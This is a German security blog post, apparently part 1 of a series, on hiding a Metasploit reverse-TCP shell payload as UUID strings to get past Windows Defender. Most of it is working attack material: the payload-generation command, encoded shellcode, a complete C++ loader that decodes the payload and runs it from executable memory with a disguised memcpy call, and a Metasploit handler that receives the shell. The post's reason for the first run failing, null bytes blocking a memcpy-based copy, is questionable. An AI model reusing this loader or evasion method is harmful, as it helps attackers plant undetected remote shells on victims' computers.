it-security:blog:obfuscation_shellcode_als_uuids_tarnen_-_teil_1

Dies ist eine alte Version des Dokuments!


Obfuscation: Shellcode als UUIDs tarnen - Teil 1

Im letzten Blogpost beschäftigten wir uns mit der Entwicklung eines calc.exe Shellcodes. Die Injection-Methode, die ich hierbei zum Testen nutzte, wurde vom Windows Defender sofort blockiert. Somit musste ich Loader und Shellcode entsprechend anpassen.

Mir kam die Idee, die OpCodes in ein String-Array umzuwandeln, welches mit UUIDs gefüllt ist. Diese müssen dann entsprechend vor der Injection wieder in Bytes umgewandelt werden. Hierzu habe ich einen En- und Decoder geschrieben, welcher genau dies macht.

Tools

Der Encoder ist Teil meines Shellcode-Tools ShenCode, welches als Open-Source zur Verfügung steht.

Schritt1: Shellcode vorbereiten

erzeugen

Wir erstellen ein Payload ohne weitergehende Verschlüsselung bzw. Enkodierung. Dieses wird in der Regel durch Windows Defender erkannt.

python shencode.py create -c="-p windows/x64/shell/reverse_tcp LHOST=IPADDRESS LPORT=PORT -f raw -o shell_rev.raw"

encoden

Dieses Payload encoden wir nun als UUID-Strings.

python shencode.py encode -f shell_rev.raw -u

Die Ausgabe sieht nun in etwas so aus:

[*] try to open file
[+] reading 240906.001 successful!
[*] try to generate UUIDs
std::vector<std::string> sID = {
"fce88f00-0000-6031-d264-8b523089e58b",
"520c8b52-148b-7228-0fb7-4a2631ff31c0",
"ac3c617c-022c-20c1-cf0d-01c74975ef52",
"578b5210-8b42-3c01-d08b-407885c0744c",
...
"c85fffd5-83f8-007d-2858-68004000006a",
"0050680b-2f0f-30ff-d557-68756e4d61ff",
"d55e5eff-0c24-0f85-70ff-ffffe99bffff",
"ff01c329-c675-c1c3-bbf0-b5a2566a0053",
"ffd5" };
[+] DONE!

Schritt 2: Inject.cpp schreiben

verschleierter Shellcode

Wir erstellen ein neues C++ Projekt und übernehmen das verschleierte String-Array, welches wir zuvor erstellt haben.

#include <stdio.h>
#include <windows.h>
#include <iostream>
#include <sstream>
#include <vector>
#include <iomanip>
#pragma warning
 
std::vector<std::string> sID = {
"fce88f00-0000-6031-d264-8b523089e58b",
"520c8b52-148b-7228-0fb7-4a2631ff31c0",
"ac3c617c-022c-20c1-cf0d-01c74975ef52",
"578b5210-8b42-3c01-d08b-407885c0744c",
...
"c85fffd5-83f8-007d-2858-68004000006a",
"0050680b-2f0f-30ff-d557-68756e4d61ff",
"d55e5eff-0c24-0f85-70ff-ffffe99bffff",
"ff01c329-c675-c1c3-bbf0-b5a2566a0053",
"ffd5" };

Encoding und Injection

überflüssige Zeichen entfernen

Zunächst benötigen wir eine Funktion, um die - Zeichen zu entfernen. Wir übergeben dieser Funktion einen String, welcher dann bereinigt wird.

void removeDashes(std::string& str) {
    str.erase(std::remove(str.begin(), str.end(), '-'), str.end());
}

Strings in Bytes konvertieren

Die nächste Funktion sorgt für die Aufbereitung der UUID Strings in ausführbare Bytes. Das String-Array wird Stück für Stück durchlaufen:

  • Entfernen von -
  • Lese 2 Zeichen und gib diese als Byte zurück
  • Wenn das String-Array durchlaufen ist, gib das erzeugte Byte-Array an den Caller zurück
std::vector<uint8_t> convertToBytes(const std::vector<std::string>& inputStrings) {
    std::vector<uint8_t> byteArray;
    for (const auto& str : inputStrings) {
        std::string cleanStr = str;
        removeDashes(cleanStr);
        for (size_t i = 0; i < cleanStr.length(); i += 2) {
            if (i + 1 < cleanStr.length()) {
                std::string byteString = cleanStr.substr(i, 2);
                uint8_t byte = static_cast<uint8_t>(std::stoi(byteString, nullptr, 16));
                byteArray.push_back(byte);
            }
        }
    }
    return byteArray;
}

Hauptprogramm

Das Hauptprogramm initialisiert die Variablen, ruft die Konvertierungsfunktion auf, gibt die Bytes in der Konsole aus und führt anschließend die Injection aus.

Um diesen Vorgang etwas zu tarnen, wird die Funktion memcpy nicht direkt aufgerufen, sondern über einen Pointer mit unserer eigenen Funktion verknüpft.

int main() {
    std::vector<std::string> input = sID;
    std::vector<uint8_t> result = convertToBytes(input);
    unsigned char* Payload = reinterpret_cast<unsigned char*>(result.data());
    size_t byteArrayLength = result.size();
    std::cout << "[x] Payload size: " << byteArrayLength << " bytes" << std::endl;
 
    for (size_t i = 0; i < byteArrayLength; ++i) {
        std::cout << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(Payload[i]) << " ";
        if ((i + 1) % 8 == 0) {
            std::cout << std::endl;
        }
    }
 
    void* (*memcpyPtr) (void*, const void*, size_t);
    void* exec = VirtualAlloc(0, byteArrayLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpyPtr = &memcpy;
	memcpyPtr(exec, Payload, byteArrayLength);
	((void(*)())exec)();
    return 0;
} 

Schritt 3: Funktionalität testen

Metasploit handler

Wir starten einen Metasploit Handler auf dem Angriffs-System, um die Reverse Shell entgegen zu nehmen:

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
 
msf6 exploit(multi/handler) > run -p windows/x64/shell/reverse_tcp lhost=0.0.0.0 lport=15666
 
[*] Started reverse TCP handler on 0.0.0.0:15666

Inject.cpp kompilieren

Anschließend kompilieren wir unsere Inject.cpp als 64-Bit Programm. Dieses kopieren wir anschließend auf das Opfer-System. Nach dem Kopiervorgang wird die Datei nicht erkannt. Wir scannen diese einmal händisch mit dem Windows Defender.

Das sieht ebenfalls gut aus.

Ausführen

Wir führen nun die Datei aus und warten auf das Ergebnis.

Leider passiert an dieser Stelle auch erstmal nichts, außer Warten. Ein Blick auf den Shellcode verrät auch direkt warum das so ist:

"c85fffd5-83f8-007d-2858-68004000006a",

Wir haben ein Raw-Payload aus metasploit heraus erzeugt. Dieses enthält eine Menge Null-Bytes und diese verhindern die korrekte Ausführung. Dies war recht ärgerlich, da meine ersten Tests durchliefen.

Ich habe den gesamten Vorgang mit dem metasploit internen XOR Encoder wiederholt und Null-Bytes als Bad Character definiert. Hiermit konnte ich die Shell dann spawnen, jedoch wird der XOR Decoder im Speicher erkannt und Windows Defender schlägt Alarm.

Fazit

Die UUID Verschleierung funktioniert und schützt die Datei beim Festplatten-Zugriff. Nach der Ausführung muss noch ein Speicherschutz her, der die Erkennung verhindert. Dies zeige ich im nächsten Teil.

it-security/blog/obfuscation_shellcode_als_uuids_tarnen_-_teil_1.1725999539.txt.gz · Zuletzt geändert: 2024/09/10 22:18
CC Attribution-Noncommercial-Share Alike 4.0 International